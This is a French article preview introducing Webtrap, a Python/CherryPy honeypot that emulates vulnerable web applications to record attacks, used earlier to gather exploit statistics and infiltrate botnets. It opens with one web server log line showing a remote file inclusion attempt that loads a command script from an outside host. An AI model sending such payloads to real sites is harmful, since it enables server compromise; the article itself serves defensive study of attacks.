69.9.37.130 - - [22/Feb/2008:00:44:05 +0100] "GET /index.php?x=http://www.hackergroup.altervista.org/cmd.txt?? HTTP/1.1" 200 2431
Cet article couvre l'écriture d'une application web, appelée « Webtrap » et écrite en Python. Cette application permet d'émuler d'autres applications web vulnérables afin de capturer toutes les tentatives d'attaques visant ces dernières. L'article commence par une présentation de Webtrap, introduit ensuite le framework de développement Cherrypy pour finir par décrire les étapes de l'écriture de Webtrap.
1. Présentation de Webtrap
1.1 Historique
La première version de Webtrap est née en 2006 lors d'un projet tuteuré de DUT [1]. Écrite en PHP, cette version avait pour but, à court terme, de récolter des statistiques sur les failles web les plus exploitées par les pirates et sur les sites vulnérables. À long terme, cette version a permis l'infiltration de quelques botnets [2] grâce aux scripts qui ont été récupérés.
1.2...
- Accédez à tous les contenus de Connect en illimité
- Découvrez des listes de lecture et des contenus Premium
- Consultez les nouveaux articles en avant-première